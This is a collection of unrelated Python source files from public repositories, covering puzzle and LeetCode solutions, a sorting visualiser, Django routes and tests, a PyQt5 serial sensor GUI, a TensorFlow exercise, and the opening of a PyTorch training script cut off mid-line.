new_instance[self.INDEX_GEODE_ROBOTS] += 1\r\n            new_instances.append(new_instance)\r\n        # add resources for the instance blueprint\r\n        self._add_resources(instance)\r\n\r\n        return new_instances\r\n\r\n    def hash(self, instance: list[int]) -> str:\r\n        return \",\".join(map(str, instance))\r\n\r\n    def _add_resources(self, instance: list[int]) -> None:\r\n        instance[self.INDEX_ORE] += instance[self.INDEX_ORE_ROBOTS]\r\n        instance[self.INDEX_CLAY] += instance[self.INDEX_CLAY_ROBOTS]\r\n        instance[self.INDEX_OBSIDIAN] += instance[self.INDEX_OBSIDIAN_ROBOTS]\r\n        instance[self.INDEX_GEODE] += instance[self.INDEX_GEODE_ROBOTS]\r\n\r\n    def _create_copy(self, instance: list[int]) -> list[int]:\r\n        new_instance: list[int] = [*instance]\r\n        self._add_resources(new_instance)\r\n        return new_instance\r\n","repo_name":"HetorusNL/advent_of_code","sub_path":"2022/19/solution/blueprint.py","file_name":"blueprint.py","file_ext":"py","file_size_in_byte":5988,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"35455983754","text":"\n\"\"\"\nIn a 2D grid from (0, 0) to (N-1, N-1), every cell contains a 1, except those cells in the given list mines which are 0. What is the largest axis-aligned plus sign of 1s contained in the grid? Return the order of the plus sign. If there is none, return 0.\n\nAn \"axis-aligned plus sign of 1s of order k\" has some center grid[x][y] = 1 along with 4 arms of length k-1 going up, down, left, and right, and made of 1s. This is demonstrated in the diagrams below. Note that there could be 0s or 1s beyond the arms of the plus sign, only the relevant area of the plus sign is checked for 1s.\n\nExamples of Axis-Aligned Plus Signs of Order k:\n\nOrder 1:\n000\n010\n000\n\nOrder 2:\n00000\n00100\n01110\n00100\n00000\n\nOrder 3:\n0000000\n0001000\n0001000\n0111110\n0001000\n0001000\n0000000\nExample 1:\n\nInput: N = 5, mines = [[4, 2]]\nOutput: 2\nExplanation:\n11111\n11111\n11111\n11111\n11011\nIn the above grid, the largest plus sign can only be order 2.  One of them is marked in bold.\nExample 2:\n\nInput: N = 2, mines = []\nOutput: 1\nExplanation:\nThere is no plus sign of order 2, but there is of order 1.\nExample 3:\n\nInput: N = 1, mines = [[0, 0]]\nOutput: 0\nExplanation:\nThere is no plus sign, so return 0.\nNote:\n\n1. N will be an integer in the range [1, 500].\n2. mines will have length at most 5000.\n3. mines[i] will be length 2 and consist of integers in the range [0, N-1].\n4. (Additionally, programs submitted in C, C++, or C# will be judged with a slightly smaller time limit.)\n\"\"\"\n\"\"\"\nAlgorithms: For each position (i, j) of the grid matrix, we try to extend in each of the four directions (left, right, up, down) as long as possible, then take the minimum length of 1's out of the four directions as the order of the largest axis-aligned plus sign centered at position (i, j).\n\nOptimizations: Normally we would need a total of five matrices to make the above idea work -- one matrix for the grid itself and four more matrices for each of the four directions. However, these five matrices can be combined into one using two simple tricks:\n\nFor each position (i, j), we are only concerned with the minimum length of 1's out of the four directions. This implies we may combine the four matrices into one by only keeping tracking of the minimum length.\n\nFor each position (i, j), the order of the largest axis-aligned plus sign centered at it will be 0 if and only if grid[i][j] == 0. This implies we may further combine the grid matrix with the one obtained above.\n\nImplementations:\n\n1. Create an N-by-N matrix grid, with all elements initialized with value N.\n2. Reset those elements to 0 whose positions are in the mines list.\n3. For each position (i, j), find the maximum length of 1's in each of the four directions \n   and set grid[i][j] to the minimum of these four lengths. \n   Note that there is a simple recurrence relation relating the maximum length \n   of 1's at current position with previous position for each of the four directions (labeled as l, r, u, d).\n4. Loop through the grid matrix and choose the maximum element \n   which will be the largest axis-aligned plus sign of 1's contained in the grid.\n\"\"\"\n\"\"\"\nSolutions: Here is a list of solutions for Java/C++/Python based on the above ideas. \nAll solutions run at O(N^2) time with O(N^2) extra space. \nFurther optimizations are possible such as keeping track of the maximum plus sign currently available \nand terminating as early as possible if no larger plus sign can be found for current row/column.\n\nNote: For those of you who got confused by the logic within the first nested for-loop, \nrefer to andier's comment below for a more clear explanation.\n\"\"\"\n\nclass SolutionBruteForce:\n    def orderOfLargestPlusSign(self, N, mines):\n        banned = {tuple(mine) for mine in mines}\n        ans = 0\n        for r in range(N):\n            for c in range(N):\n                k = 0\n                while (k <= r < N-k and k <= c < N-k and\n                        (r-k, c) not in banned and\n                        (r+k, c) not in banned and\n                        (r, c-k) not in banned and\n                        (r, c+k) not in banned):\n                    k += 1\n                ans = max(ans, k)\n        return ans\n\nclass Solution1:\n    def orderOfLargestPlusSign(self, N, mines):\n\n        grid = [[N] * N for i in range(N)]\n\n        for m in mines:\n            grid[m[0]][m[1]] = 0\n\n        for i in range(N):\n            l, r, u, d = 0, 0, 0, 0\n\n            for j, k in zip(range(N), reversed(range(N))):\n                l = l + 1 if grid[i][j] != 0 else 0\n                if l < grid[i][j]:\n                    grid[i][j] = l\n\n                r = r + 1 if grid[i][k] != 0 else 0\n                if r < grid[i][k]:\n                    grid[i][k] = r\n\n                u = u + 1 if grid[j][i] != 0 else 0\n                if u < grid[j][i]:\n                    grid[j][i] = u\n\n                d = d + 1 if grid[k][i] != 0 else 0\n                if d < grid[k][i]:\n                    grid[k][i] = d\n\n        res = 0\n\n        for i in range(N):\n            for j in range(N):\n                if res < grid[i][j]:\n                    res = grid[i][j]\n\n        return res\n\n\nclass Solution11:\n    def orderOfLargestPlusSign(self, N, mines):\n        dp = [[N] * N for _ in range(N)]\n        for r, c in mines:\n            dp[r][c] = 0\n        for i in range(N):\n            l, r, t, b = 0, 0, 0, 0\n            for j, k in zip(range(N), reversed(range(N))):\n                l = 0 if dp[i][j] == 0 else l + 1\n                dp[i][j] = min(dp[i][j], l)\n                r = 0 if dp[i][k] == 0 else r + 1\n                dp[i][k] = min(dp[i][k], r)\n                t = 0 if dp[j][i] == 0 else t + 1\n                dp[j][i] = min(dp[j][i], t)\n                b = 0 if dp[k][i] == 0 else b + 1\n                dp[k][i] = min(dp[k][i], b)\n        return max(map(max, dp))\n\n\n\"\"\"\ng[x][y] is the largest plus sign allowed centered at position (x, y). \nWhen no mines are presented, it is only limited by the boundary and should be something similar to\n\n1 1 1 1 1\n1 2 2 2 1\n1 2 3 2 1\n1 2 2 2 1\n1 1 1 1 1\n\nEach mine would affect the row and column it is at, \ncausing the value of g[x][y] to be no larger than the distance between (x, y) and the mine.\n\"\"\"\nclass Solution2:\n    def orderOfLargestPlusSign(self, N, mines):\n\n        g = [[min(i, N-1-i, j, N-1-j) + 1 for j in range(N)] for i in range(N)]\n        for (x, y) in mines:\n            for i in range(N):\n                g[i][y] = min(g[i][y], abs(i - x))\n                g[x][i] = min(g[x][i], abs(i - y))\n        return max([max(row) for row in g])\n\n\n\"\"\"\n解题方法\n如果是暴力解法的话，我们很容易就写出O(n^3)的解法，就是对于每个位置，都向上下左右四个方向去寻找能拓展多远。\n（注意，因为方向是定死的，且四个方向长度是一致的，所以不是O(n^4)）。这样肯定会超时的。\n\n一个比较容易理解的方法就是，我们先确定一个dp数组，这个数组dp[i][j]保存的是到从i,j位置向上下左右四个方向能拓展的长度。\n最后每个位置能拓展多远就是上下左右四个方向能拓展长度的最小值。\n我选择遍历的方向是左右上下，那么到下的遍历的时候，dp数组保存的就就是最小的边长了。\n\n这个题四个方向是对称的，因此只需要知道一个方向怎么写，那么直接改循环方向就行，\n根本不用思考我查找的方向到底是四个方向中的哪一个。同时使用了set把二维坐标改成了一维，可以加快查找。\n\n时间复杂度是O(n^2)，空间复杂度是O(n^2).\n\"\"\"\n\nclass Solution3:\n    def orderOfLargestPlusSign(self, N, mines):\n\n        res = 0\n        dp = [[0 for i in range(N)] for j in range(N)]\n        s = set()\n        for mine in mines:\n            s.add(N * mine[0] + mine[1])\n        for i in range(N):\n            cnt = 0\n            for j in range(N):#left\n                cnt = 0 if N * i + j in s else cnt + 1\n                dp[i][j] = cnt\n            cnt = 0\n            for j in range(N - 1, -1, -1):#right\n                cnt = 0 if N * i + j in s else cnt + 1\n                dp[i][j] = min(dp[i][j], cnt)\n        for j in range(N):\n            cnt = 0\n            for i in range(N):#up\n                cnt = 0 if N * i + j in s else cnt + 1\n                dp[i][j] = min(dp[i][j], cnt)\n            cnt = 0\n            for i in range(N - 1, -1, -1):#down\n                cnt = 0 if N * i + j in s else cnt + 1\n                dp[i][j] = min(dp[i][j], cnt)\n                res = max(dp[i][j], res)\n        return res\n\n\n# 如果用四个变量代表上下左右方向的话可以缩短一下代码：\nclass Solution33:\n    def orderOfLargestPlusSign(self, N, mines):\n\n        res = 0\n        dp = [[N for i in range(N)] for j in range(N)]\n        s = set()\n        for mine in mines:\n            dp[mine[0]][mine[1]] = 0\n        for i in range(N):\n            l, r, u, d = 0, 0, 0, 0\n            for j in range(N):\n                l = l + 1 if dp[i][j] else 0\n                r = r + 1 if dp[j][i] else 0\n                u = u + 1 if dp[i][N - 1 -j] else 0\n                d = d + 1 if dp[N - 1 - j][i] else 0\n                dp[i][j] = min(dp[i][j], l)\n                dp[j][i] = min(dp[j][i], r)\n                dp[i][N - 1 - j] = min(dp[i][N -  1 - j], u)\n                dp[N - 1 - j][i] = min(dp[N - 1 - j][i], d)\n        for i in range(N):\n            for j in range(N):\n                res = max(res, dp[i][j])\n        return res\n\n\n\"\"\"\n题目大意：\n二维方阵grid长宽为N，初始为全0矩阵。给定位置数组mines，在grid中将mines中的各位置设为1。\n\n求grid中“十字形全1区域”的最大长度，关于“十字形全1区域”的定义详见测试用例。\n\n解题思路：\n时间复杂度O(N^2)\n\n用O(N^2)的代价求出每一行的“一字型全1区域”的长度\n\n用O(N^2)的代价求出每一列的“一字型全1区域”的长度\n\n遍历取最小值即为“十字形全1区域”的长度\n\"\"\"\n\n\nclass Solution(object):\n    def orderOfLargestPlusSign(self, N, mines):\n        banned = {tuple(mine) for mine in mines}\n        dp = [[0] * N for _ in range(N)]\n        ans = 0\n\n        for r in range(N):\n            count = 0\n            for c in range(N):\n                count = 0 if (r, c) in banned else count + 1\n                dp[r][c] = count\n\n            count = 0\n            for c in range(N - 1, -1, -1):\n                count = 0 if (r, c) in banned else count + 1\n                if count < dp[r][c]:\n                    dp[r][c] = count\n\n        for c in range(N):\n            count = 0\n            for r in (N):\n                count = 0 if (r, c) in banned else count + 1\n                if count < dp[r][c]:\n                    dp[r][c] = count\n\n            count = 0\n            for r in range(N - 1, -1, -1):\n                count = 0 if (r, c) in banned else count + 1\n                if count < dp[r][c]:\n                    dp[r][c] = count\n                if dp[r][c] > ans:\n                    ans = dp[r][c]\n\n        return ans\n\n\n\n","repo_name":"Taoge123/OptimizedLeetcode","sub_path":"LeetcodeNew/DynamicProgramming/LC_764_Largest_Plus_Sign.py","file_name":"LC_764_Largest_Plus_Sign.py","file_ext":"py","file_size_in_byte":11010,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"19"}
{"seq_id":"25318156542","text":"#!/usr/bin/python3\n\nfrom colors import RED, BLUE, GREEN\n\ndef merge(arr,left, mid, right, array_color = None, refill = None):\n    left_arr = arr[left:mid+1]\n    right_arr = arr[mid+1:right+1]\n    l = 0\n    r = 0\n    \n    # Using temporary array instead of just changing the given array\n    # to make the visualization better.\n    tmp = []\n    \n    while l < len(left_arr) and r < len(right_arr):\n        if array_color is not None and refill is not None:\n            array_color[l+left] = RED\n            array_color[r+mid] = RED\n            refill()\n            array_color[l+left] = BLUE\n            array_color[r+mid] = BLUE\n        if left_arr[l] > right_arr[r]:\n            tmp.append(right_arr[r])\n            r += 1\n        else:\n            tmp.append(left_arr[l])\n            l += 1\n    \n    while l < len(left_arr):\n        if array_color is not None and refill is not None:\n            array_color[l+left] = RED\n            refill()\n            array_color[l+left] = BLUE\n        tmp.append(left_arr[l])\n        l += 1\n\n    while r < len(right_arr):\n        if array_color is not None and refill is not None:\n            array_color[r+mid] = RED\n            refill()\n            array_color[r+mid] = BLUE\n        tmp.append(right_arr[r])\n        r += 1\n\n    # Using a temporary array makes the visualisation better, but the code a bit slower.\n    j = 0\n    for i in range(left, right+1):\n        arr[i] = tmp[j]\n        j += 1\n        if array_color is not None and refill is not None:\n            array_color[i] = GREEN\n            refill()\n            if right-left != len(arr)-2: array_color[i] = BLUE\n\n\ndef mergeSort(arr , array_color = None, refill = None, left = 0, right = None):\n    if right == None: right = len(arr)-1\n    \n    if left < right:\n        mid = (left+right)//2\n        \n        mergeSort(arr, array_color, refill, left, mid)\n        mergeSort(arr, array_color, refill, mid+1, right)\n    \n        merge(arr, left, mid, right, array_color, refill)\n\n\nif __name__ == '__main__':\n    arr1 = [5,3,7,1,7,4,2,8]\n    mergeSort(arr1)\n    print(arr1)\n    arr2 = ['j','y','a','t','p']\n    mergeSort(arr2)\n    print(arr2)","repo_name":"ErikNils/SortingAlgorithmsVisualizer","sub_path":"SortingAlgorithms/MergeSort.py","file_name":"MergeSort.py","file_ext":"py","file_size_in_byte":2141,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"72086057322","text":"\nfrom django.urls import path\n\nfrom .views import index,ProductosViwe,FotosView,CodigosView\n\napp_name = \"productos\"\n\nurlpatterns =[  \n    path('',index,name='index'), \n    path('api/',ProductosViwe.as_view()), \n    path('api/fotos',FotosView.as_view()), \n    path('api/codigos',CodigosView.as_view()),\n]","repo_name":"elgael06/MeliPOS","sub_path":"melipos/apps/productos/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":303,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"}
{"seq_id":"29093835161","text":"\"\"\"\ntweetex.py\n\nNick Creel | Feb 5 2020 | MIT License\n\"\"\"\n\nfrom lexer import Lexer # my lexer\nimport argparse  \t\t# external library for handling input from command line\nimport parser \t\t\t# parser\nimport templater \t\t# code generator\nimport re\t\t \t\t# for regular expressions\n\n\ndef getfile():\n    parser = argparse.ArgumentParser(description=\"accepts input \\ for TweeTex compiler\")\n    parser.add_argument('file', metavar='filename', type=str, nargs=1,\n            help='the location of the TweeTex file to compile')\n    args = parser.parse_args()\n    with open(args.file[0], \"r\") as file:\n        source = file.read()\n    return (source, args.file[0])\n\ndef printchildren(token):\n    #this is depth first, just a test.\n    if type(token.children) != list:\n        print(token.children)\n        printchildren(token.children)\n    else:\n        for atoken in token.children:\n            if len(token.children) > 0:\n                print(atoken)\n                printchildren(atoken)\n            else:\n                print(atoken)\n\ndef main():\n    source, sourceName = getfile()\n    sourceName = sourceName[:-3] + 'tw' #change to Twee extension\n    mylexer = Lexer(source)\n    mylexer.lex()\n    tokens = mylexer.tokens\n    print(\"-------printing tokens produced by lexer\")\n    for i in tokens.queue:\n        print(i)\n    print(\"\\n--------beginning parse routine\")\n    ast = parser.parse(tokenQueue = tokens) #this is NOT the same as argparse\n    print(ast)\n    printchildren(ast)\n    print(\"\\n--------beginning code generation\")\n    result = templater.makeNewFile(sourceName,ast)\n\nmain()\n","repo_name":"mariecreel/TweeTeX","sub_path":"tweetex.py","file_name":"tweetex.py","file_ext":"py","file_size_in_byte":1580,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"73086977642","text":"import pytest\n\n\n@pytest.mark.django_db\n@pytest.mark.migration(app_label=\"pyrog\", migration_name=\"0002_integrate_users\")\ndef test_migrate(migrator, state):\n    Template = state.apps.get_model(\"pyrog\", \"Template\")\n    Source = state.apps.get_model(\"pyrog\", \"Source\")\n\n    t1 = Template.objects.create(name=\"template_1\")\n    t2 = Template.objects.create(name=\"template_2\")\n\n    s1 = Source.objects.create(template=t1, name=\"my_source\")\n    s2 = Source.objects.create(template=t2, name=\"my_source\")\n\n    migrator.apply_tested_migration((\"pyrog\", \"0003_unique_source_name\"))\n\n    s1.refresh_from_db()\n    s2.refresh_from_db()\n\n    assert s1.name == \"template_1 - my_source\"\n    assert s2.name == \"template_2 - my_source\"\n","repo_name":"arkhn/fhir-river","sub_path":"tests/pyrog/migrations/test_0003_unique_source_name.py","file_name":"test_0003_unique_source_name.py","file_ext":"py","file_size_in_byte":716,"program_lang":"python","lang":"en","doc_type":"code","stars":42,"dataset":"github-code","pt":"19"}
{"seq_id":"14858861050","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun May 28 19:44:08 2017\r\nIDE : Spyder\r\nANACONDA Distribution\r\n@author: LALIT ARORA\r\n\"\"\"\r\n\r\nfrom PyQt5 import QtCore, QtGui, QtWidgets\r\nfrom PyQt5.QtWidgets import QMessageBox\r\n\r\nimport get_ports\r\nimport serial\r\n\r\nclass Ui_ElectKitv1(object):\r\n    def setupUi(self, ElectKitv1):\r\n        ElectKitv1.setObjectName(\"ElectKitv1\")\r\n        ElectKitv1.resize(616, 443)\r\n        ElectKitv1.setMaximumSize(QtCore.QSize(616, 443))\r\n        self.label_6 = QtWidgets.QLabel(ElectKitv1)\r\n        self.label_6.setGeometry(QtCore.QRect(100, 260, 47, 13))\r\n        self.label_6.setObjectName(\"label_6\")\r\n        self.sensor4 = QtWidgets.QLabel(ElectKitv1)\r\n        self.sensor4.setGeometry(QtCore.QRect(220, 260, 47, 13))\r\n        self.sensor4.setObjectName(\"sensor4\")\r\n        self.sensor4.hide()==True\r\n        self.label_10 = QtWidgets.QLabel(ElectKitv1)\r\n        self.label_10.setGeometry(QtCore.QRect(400, 200, 47, 13))\r\n        self.label_10.setObjectName(\"label_10\")\r\n        self.pushButton_2 = QtWidgets.QPushButton(ElectKitv1)\r\n        self.pushButton_2.setGeometry(QtCore.QRect(260, 380, 141, 23))\r\n        self.pushButton_2.setObjectName(\"pushButton_2\")\r\n        self.pushButton_2.clicked.connect(self.fetch)\r\n        self.sensor6 = QtWidgets.QLabel(ElectKitv1)\r\n        self.sensor6.setGeometry(QtCore.QRect(220, 320, 47, 13))\r\n        self.sensor6.setObjectName(\"sensor6\")\r\n        self.sensor6.hide()==True\r\n        self.label_8 = QtWidgets.QLabel(ElectKitv1)\r\n        self.label_8.setGeometry(QtCore.QRect(100, 320, 47, 13))\r\n        self.label_8.setObjectName(\"label_8\")\r\n        self.comboBox = QtWidgets.QComboBox(ElectKitv1)\r\n        self.comboBox.setGeometry(QtCore.QRect(300, 40, 69, 22))\r\n        self.comboBox.setObjectName(\"comboBox\")\r\n        self.comboBox.addItems(ui.allports)\r\n        self.pushButton = QtWidgets.QPushButton(ElectKitv1)\r\n        self.pushButton.setGeometry(QtCore.QRect(400, 40, 111, 21))\r\n        self.pushButton.setObjectName(\"pushButton\")\r\n        self.pushButton.clicked.connect(self.check)\r\n        self.label_12 = QtWidgets.QLabel(ElectKitv1)\r\n        self.label_12.setGeometry(QtCore.QRect(400, 260, 51, 16))\r\n        self.label_12.setObjectName(\"label_12\")\r\n        self.label_3 = QtWidgets.QLabel(ElectKitv1)\r\n        self.label_3.setGeometry(QtCore.QRect(100, 170, 47, 13))\r\n        self.label_3.setObjectName(\"label_3\")\r\n        self.sensor10 = QtWidgets.QLabel(ElectKitv1)\r\n        self.sensor10.setGeometry(QtCore.QRect(500, 260, 47, 13))\r\n        self.sensor10.setObjectName(\"sensor10\")\r\n        self.sensor1 = QtWidgets.QLabel(ElectKitv1)\r\n        self.sensor1.setGeometry(QtCore.QRect(220, 170, 47, 13))\r\n        self.sensor1.setObjectName(\"sensor1\")\r\n        self.sensor5 = QtWidgets.QLabel(ElectKitv1)\r\n        self.sensor5.setGeometry(QtCore.QRect(220, 290, 47, 13))\r\n        self.sensor5.setObjectName(\"sensor5\")\r\n        self.label_2 = QtWidgets.QLabel(ElectKitv1)\r\n        self.label_2.setGeometry(QtCore.QRect(80, 130, 61, 21))\r\n        self.label_2.setObjectName(\"label_2\")\r\n        self.label_4 = QtWidgets.QLabel(ElectKitv1)\r\n        self.label_4.setGeometry(QtCore.QRect(100, 200, 47, 13))\r\n        self.label_4.setObjectName(\"label_4\")\r\n        self.label_11 = QtWidgets.QLabel(ElectKitv1)\r\n        self.label_11.setGeometry(QtCore.QRect(400, 230, 47, 13))\r\n        self.label_11.setObjectName(\"label_11\")\r\n        self.sensor2 = QtWidgets.QLabel(ElectKitv1)\r\n        self.sensor2.setGeometry(QtCore.QRect(220, 200, 47, 13))\r\n        self.sensor2.setObjectName(\"sensor2\")\r\n        self.sensor8 = QtWidgets.QLabel(ElectKitv1)\r\n        self.sensor8.setGeometry(QtCore.QRect(500, 200, 47, 13))\r\n        self.sensor8.setObjectName(\"sensor8\")\r\n        self.sensor9 = QtWidgets.QLabel(ElectKitv1)\r\n        self.sensor9.setGeometry(QtCore.QRect(500, 230, 47, 13))\r\n        self.sensor9.setObjectName(\"sensor9\")\r\n        self.label_5 = QtWidgets.QLabel(ElectKitv1)\r\n        self.label_5.setGeometry(QtCore.QRect(100, 230, 47, 13))\r\n        self.label_5.setObjectName(\"label_5\")\r\n        self.label_9 = QtWidgets.QLabel(ElectKitv1)\r\n        self.label_9.setGeometry(QtCore.QRect(400, 170, 47, 13))\r\n        self.label_9.setObjectName(\"label_9\")\r\n        self.label = QtWidgets.QLabel(ElectKitv1)\r\n        self.label.setGeometry(QtCore.QRect(160, 40, 101, 20))\r\n        font = QtGui.QFont()\r\n        font.setPointSize(12)\r\n        self.label.setFont(font)\r\n        self.label.setObjectName(\"label\")\r\n        self.sensor7 = QtWidgets.QLabel(ElectKitv1)\r\n        self.sensor7.setGeometry(QtCore.QRect(500, 170, 47, 13))\r\n        self.sensor7.setObjectName(\"sensor7\")\r\n        self.label_7 = QtWidgets.QLabel(ElectKitv1)\r\n        self.label_7.setGeometry(QtCore.QRect(100, 290, 47, 13))\r\n        self.label_7.setObjectName(\"label_7\")\r\n        self.sensor12 = QtWidgets.QLabel(ElectKitv1)\r\n        self.sensor12.setGeometry(QtCore.QRect(500, 320, 47, 13))\r\n        self.sensor12.setObjectName(\"sensor12\")\r\n        self.sensor11 = QtWidgets.QLabel(ElectKitv1)\r\n        self.sensor11.setGeometry(QtCore.QRect(500, 290, 47, 13))\r\n        self.sensor11.setObjectName(\"sensor11\")\r\n        self.sensor3 = QtWidgets.QLabel(ElectKitv1)\r\n        self.sensor3.setGeometry(QtCore.QRect(220, 230, 47, 13))\r\n        self.sensor3.setObjectName(\"sensor3\")\r\n        self.label_13 = QtWidgets.QLabel(ElectKitv1)\r\n        self.label_13.setGeometry(QtCore.QRect(400, 290, 51, 16))\r\n        self.label_13.setObjectName(\"label_13\")\r\n        self.label_14 = QtWidgets.QLabel(ElectKitv1)\r\n        self.label_14.setGeometry(QtCore.QRect(400, 320, 51, 16))\r\n        self.label_14.setObjectName(\"label_14\")\r\n        self.sensor1.hide()==True\r\n        self.sensor2.hide()==True\r\n        self.sensor3.hide()==True\r\n        self.sensor5.hide()==True\r\n        self.sensor7.hide()==True\r\n        self.sensor8.hide()==True\r\n        self.sensor9.hide()==True\r\n        self.sensor10.hide()==True\r\n        self.sensor11.hide()==True\r\n        self.sensor12.hide()==True\r\n        self.retranslateUi(ElectKitv1)\r\n        QtCore.QMetaObject.connectSlotsByName(ElectKitv1)\r\n\r\n    def retranslateUi(self, ElectKitv1):\r\n        _translate = QtCore.QCoreApplication.translate\r\n        ElectKitv1.setWindowTitle(_translate(\"ElectKitv1\", \"EAK v1.0\"))\r\n        self.label_6.setText(_translate(\"ElectKitv1\", \"DEVICE 4\"))\r\n        self.sensor4.setText(_translate(\"ElectKitv1\", \"TextLabel\"))\r\n        self.label_10.setText(_translate(\"ElectKitv1\", \"DEVICE 8\"))\r\n        self.pushButton_2.setText(_translate(\"ElectKitv1\", \"GET DATA \"))\r\n        self.sensor6.setText(_translate(\"ElectKitv1\", \"TextLabel\"))\r\n        self.label_8.setText(_translate(\"ElectKitv1\", \"DEVICE 6\"))\r\n        self.pushButton.setText(_translate(\"ElectKitv1\", \"CHECK FOR DEVICES\"))\r\n        self.label_12.setText(_translate(\"ElectKitv1\", \"DEVICE 10\"))\r\n        self.label_3.setText(_translate(\"ElectKitv1\", \"DEVICE 1\"))\r\n        self.sensor10.setText(_translate(\"ElectKitv1\", \"TextLabel\"))\r\n        self.sensor1.setText(_translate(\"ElectKitv1\", \"TextLabel\"))\r\n        self.sensor5.setText(_translate(\"ElectKitv1\", \"TextLabel\"))\r\n        self.label_2.setText(_translate(\"ElectKitv1\", \"READINGS\"))\r\n        self.label_4.setText(_translate(\"ElectKitv1\", \"DEVICE 2\"))\r\n        self.label_11.setText(_translate(\"ElectKitv1\", \"DEVICE 9\"))\r\n        self.sensor2.setText(_translate(\"ElectKitv1\", \"TextLabel\"))\r\n        self.sensor8.setText(_translate(\"ElectKitv1\", \"TextLabel\"))\r\n        self.sensor9.setText(_translate(\"ElectKitv1\", \"TextLabel\"))\r\n        self.label_5.setText(_translate(\"ElectKitv1\", \"DEVICE 3\"))\r\n        self.label_9.setText(_translate(\"ElectKitv1\", \"DEVICE 7\"))\r\n        self.label.setText(_translate(\"ElectKitv1\", \"SELECT COM\"))\r\n        self.sensor7.setText(_translate(\"ElectKitv1\", \"TextLabel\"))\r\n        self.label_7.setText(_translate(\"ElectKitv1\", \"DEVICE 5\"))\r\n        self.sensor12.setText(_translate(\"ElectKitv1\", \"TextLabel\"))\r\n        self.sensor11.setText(_translate(\"ElectKitv1\", \"TextLabel\"))\r\n        self.sensor3.setText(_translate(\"ElectKitv1\", \"TextLabel\"))\r\n        self.label_13.setText(_translate(\"ElectKitv1\", \"DEVICE 11\"))\r\n        self.label_14.setText(_translate(\"ElectKitv1\", \"DEVICE 12\"))\r\n        \r\n    \r\n    def check(self):\r\n        \r\n        ui.portselected=self.comboBox.currentText()\r\n        global ser\r\n        ser=serial.Serial(ui.portselected,115200)\r\n        while ser.inWaiting()==0:\r\n            pass\r\n        data=str(ser.readline())\r\n        ls=data.split(\"  \")\r\n        temp=str(ls[0])\r\n        temp=temp[2:]\r\n        ls[0]=temp\r\n        n=len(ls)\r\n        ls.pop(n-1)\r\n        n=n-1\r\n        self.s=str(n)+\" Devices Connected..\"\r\n        print(self.s)\r\n        w=QMessageBox()\r\n        w.setText(self.s)\r\n        w.setStandardButtons(QMessageBox.Ok)\r\n        w.exec()\r\n        \r\n    def fetch(self):\r\n        while ser.inWaiting()==0:\r\n            pass\r\n        data=str(ser.readline())\r\n        ls=data.split(\"  \")\r\n        temp=str(ls[0])\r\n        temp=temp[2:]\r\n        ls[0]=temp\r\n        n=len(ls)\r\n        ls.pop(n-1)\r\n        n=n-1\r\n        self.sensor1.setText(ls[0])\r\n        self.sensor1.show()==True\r\n        self.sensor2.setText(ls[1])\r\n        self.sensor2.show()==True\r\n        self.sensor3.setText(ls[2])\r\n        self.sensor3.show()==True\r\n        self.sensor4.setText(ls[3])\r\n        self.sensor4.show()==True\r\n        self.sensor5.setText(ls[4])\r\n        self.sensor5.show()==True\r\n        \r\nif __name__ == \"__main__\":\r\n    import sys\r\n    app = QtWidgets.QApplication(sys.argv)\r\n    ElectKitv1 = QtWidgets.QWidget()\r\n    ui = Ui_ElectKitv1()\r\n    ui.allports=get_ports.serial_ports()\r\n    ui.portselected=\"\"\r\n    ui.setupUi(ElectKitv1)\r\n    ElectKitv1.show()\r\n    sys.exit(app.exec_())","repo_name":"baoboa/pyqt5","sub_path":"examples/EAK v1.0/ui_electKitv1.py","file_name":"ui_electKitv1.py","file_ext":"py","file_size_in_byte":9770,"program_lang":"python","lang":"en","doc_type":"code","stars":1034,"dataset":"github-code","pt":"19"}
{"seq_id":"19807406403","text":"# Solution is available in the other \"solution.py\" tab\nimport tensorflow as tf\n\nsoftmax_data = [0.7, 0.2, 0.1]\none_hot_data = [1.0, 0.0, 0.0]\n\nsoftmax = tf.placeholder(tf.float32)\none_hot = tf.placeholder(tf.float32)\n\nlog = tf.log(softmax)\nsum_arg = tf.multiply(tf.multiply(tf.cast(-1, dtype=tf.float32), one_hot), log)\ncross_entropy = tf.reduce_sum(sum_arg)\n\n# Print cross entropy from session\nwith tf.Session() as sess:\n    output = sess.run(cross_entropy, feed_dict={softmax: softmax_data, \\\n                                                one_hot: one_hot_data})\n\nprint(output)\n","repo_name":"boldorider4/udacity_self_driving_engineer_term1","sub_path":"L06-tensorflow/04_cross-entropy.py","file_name":"04_cross-entropy.py","file_ext":"py","file_size_in_byte":582,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"21083897484","text":"import datetime\nimport os\nimport time\nimport sys\nimport numpy as np\nimport json\n\nimport torch\nfrom torch import nn\nimport torch.utils.data\nfrom torch.utils.data.dataloader import default_collate\n\nimport torchvision\n\nimport data\nfrom data.kinetics import Kinetics400\nfrom data.video import VideoList\nfrom torchvision.datasets.samplers.clip_sampler import RandomClipSampler, UniformClipSampler\n\nimport utils\n\nfrom model import CRW\n# from modelparallelise import CRW\n\nfrom teacherstudent import CRWTeacherStudent\n\ntorch.autograd.set_detect_anomaly(True)\n\n# Disable wandb syncing to the cloud\n# os.environ['WANDB_MODE'] = 'offline'\n\n####################################################################################################\n# train_one_epoch function\n####################################################################################################\n\ndef train_one_epoch(model, optimizer, lr_scheduler, data_loader, device,\n                    epoch, print_freq, vis=None, checkpoint_fn=None, \n                    prob=None):\n\n    model.train()\n    metric_logger = utils.MetricLogger(delimiter=\"  \")\n    metric_logger.add_meter('lr', utils.SmoothedValue(window_size=1, fmt='{value}'))\n    metric_logger.add_meter('clips/s', utils.SmoothedValue(window_size=10, fmt='{value:.3f}'))\n\n    header = f'Epoch: [{epoch}]'\n\n    # Initialise wandb\n    if vis is not None:\n        vis.wandb_init(model)\n\n    for step, ((video, orig, orig_unnorm), sp_mask) in enumerate(metric_logger.log_every(data_loader, print_freq, header)):\n        start_time = time.time()\n\n        grid = np.random.choice([True, False], p=[prob, 1-prob])\n\n        if grid:\n            video = video.to(device)\n            output, loss, diagnostics = model(video, None, None, orig_unnorm=None) if not 